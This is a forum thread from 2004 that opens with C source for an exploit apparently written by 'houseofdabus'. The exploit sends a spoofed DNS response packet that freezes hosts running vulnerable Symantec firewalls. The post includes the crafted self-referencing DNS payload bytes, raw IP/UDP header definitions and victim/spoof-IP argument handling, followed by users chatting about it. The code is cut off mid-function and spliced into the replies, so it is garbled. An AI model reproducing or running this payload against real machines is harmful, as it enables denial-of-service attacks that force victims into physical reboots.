/* HOD-symantec-firewall-DoS-expl.c: * * Symantec Multiple Firewall DNS Response Denial-of-Service * * Exploit version 0.1 coded by * * * .::[ houseofdabus ]::. * * * * Bug discoveried by eEye: * http://www.eeye.com/html/Research/Advisories/AD20040512B.html * * ------------------------------------------------------------------- * Tested on: * - Symantec Norton Personal Firewall 2004 * * * Systems Affected: * - Symantec Norton Internet Security 2002 * - Symantec Norton Internet Security 2003 * - Symantec Norton Internet Security 2004 * - Symantec Norton Internet Security Professional 2002 * - Symantec Norton Internet Security Professional 2003 * - Symantec Norton Internet Security Professional 2004 * - Symantec Norton Personal Firewall 2002 * - Symantec Norton Personal Firewall 2003 * - Symantec Norton Personal Firewall 2004 * - Symantec Client Firewall 5.01, 5.1.1 * - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1) * - Symantec Norton AntiSpam 2004 * * ------------------------------------------------------------------- * Description: * eEye Digital Security has discovered a second vulnerability * in the Symantec firewall product line that can be remotely * exploited to cause a severe denial-of-service condition on * systems running a default installation of an affected version * of the product. By sending a single malicious DNS (UDP port 53) * response packet to a vulnerable host, an attacker can cause * the Symantec DNS response validation code to enter an infinite * loop within the kernel, amounting to a system freeze that requires * the machine to be physically rebooted in order to restore operation. * * ------------------------------------------------------------------- * Compile: * Win32/VC++ : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib * Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib * Linux : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall * * ------------------------------------------------------------------- * Command Line Parameters/Arguments: * * HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int] * * -fi:IP From (sender) IP address * -tp:int To (recipient) port number * -ti:IP To (recipient) IP address * -n:int Number of times to send message * */
/* Define the DNS header */ char dnsreply[] = "\xc9\x9c" /* Transaction ID */ "\x80\x00" /* Flags (bit 15: response) */ "\x00\x01" /* Number of questions */ "\x00\x01" /* Number of answer RRs */ "\x00\x00" /* Number of authority RRs */ "\x00\x00" /* Number of additional RRs */ "\xC0\x0C"; /* Compressed name pointer to itself */
/* Define the IP header */ typedef struct ip_hdr { unsigned char ip_verlen; /* IP version & length */ unsigned char ip_tos; /* IP type of service */ unsigned short ip_totallength; /* Total length */ unsigned short ip_id; /* Unique identifier */ unsigned short ip_offset; /* Fragment offset field */ unsigned char ip_ttl; /* Time to live */ unsigned char ip_protocol; /* Protocol */ unsigned short ip_checksum; /* IP checksum */ unsigned int ip_srcaddr; /* Source address */ unsigned int ip_destaddr; /* Destination address */ } IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
/* Define the UDP header */ typedef struct udp_hdr { unsigned short src_portno; /* Source port number */ unsigned short dst_portno; /* Destination port number */ unsigned short udp_length; /* UDP packet length */ unsigned short udp_checksum; /* UDP checksum (optional) */ } UDP_HDR, *PUDP_HDR;
/* globals */ unsigned long dwToIP, // IP to send to dwFromIP; // IP to send from (spoof) unsigned short iToPort, // Port to send to iFromPort; // Port to send from (spoof) unsigned long dwCount; // Number of times to send char strMessage[MAX_MESSAGE]; // Message to send
void usage(char *progname) { printf("Usage:\n\n"); printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n", progname); printf(" -fi:IP From (sender) IP address\n"); printf(" -tp:int To (recipient) open UDP port number:\n"); printf(" 137, 138, 445, 500(default)\n"); printf(" -ti:IP To (recipient) IP address\n"); printf(" -n:int Number of times\n"); exit(1); }
for(i = 1; i < argc; i++) { if ((argv[i][0] == '-') || (argv[i][0] == '/')) { switch (tolower(argv[i][1])) { case 'f': switch (tolower(argv[i][2])) { case 'i': if (strlen(argv[i]) > 4) dwFromIP = inet_addr(&argv[i][4]); break; default: usage(argv[0]); break; } break; case 't': switch (tolower(argv[i][2])) { case 'p': if (strlen(argv[i]) > 4) iToPort = atoi(&argv[i][4]); break; case 'i': if (strlen(argv[i]) > 4) dwToIP = inet_addr(&argv[i][4]); break; default: usage(argv[0]); break; } break; case 'n': if (strlen(argv[i]) > 3) dwCount = atol(&argv[i][3]); break; default: usage(argv[0]); break; } } } return; }
/* This function calculates the 16-bit one's complement sum */ /* for the supplied buffer */ unsigned short checksum(unsigned short *buffer, int size) { unsigned long cksum=0;
thx alot mate is that just came with shell? didnt notice that
FLAT
May 15 2004, 09:34 AM
no if you have read the code of the exploit you would know that this is just a ddos exploit ... so just to (filtered) people
DevilM
May 15 2004, 03:56 PM
But what if he doesn't know abaout reading the code? If he just read "exploit" and thought of "getting a shell" and stuff like that?
morbido
May 15 2004, 05:16 PM
lol this board is full of n00bs
getting a shell on a DOS
tweakz20
May 15 2004, 06:28 PM
QUOTE (DevilM @ May 15 2004, 03:56 PM)
But what if he doesn't know abaout reading the code? If he just read "exploit" and thought of "getting a shell" and stuff like that?
um, the code is really long and just sitting there, don't you think people would get the impression "Wow. This is an exploit source for one of the major AV companies... Maybe I'll READ IT!"
anyway, i wonder how much these eEye guys get paid, these guys are such good programmers.... i don't get why they have the default port as #define DEFAULT_IP "10.0.0.1" though... shouldn't it just stop cold if no ip is given?
FiNaLBeTa
May 15 2004, 07:16 PM
QUOTE (tweakz20 @ May 15 2004, 06:28 PM)
QUOTE (DevilM @ May 15 2004, 03:56 PM)
But what if he doesn't know abaout reading the code? If he just read "exploit" and thought of "getting a shell" and stuff like that?
um, the code is really long and just sitting there, don't you think people would get the impression "Wow. This is an exploit source for one of the major AV companies... Maybe I'll READ IT!"
anyway, i wonder how much these eEye guys get paid, these guys are such good programmers.... i don't get why they have the default port as #define DEFAULT_IP "10.0.0.1" though... shouldn't it just stop cold if no ip is given?
The advisory comes from eye security. It dos not say the code comes from them, tho it could be.
Zero-X
May 15 2004, 07:52 PM
well it seems that it's only gonna freeze the shit until they reboot...
tweakz20
May 15 2004, 08:03 PM
* Exploit version 0.1 coded by * * * .::[ houseofdabus ]::.
yeah, sorry, you're right... they're still really good programmers to find these vulnerabilities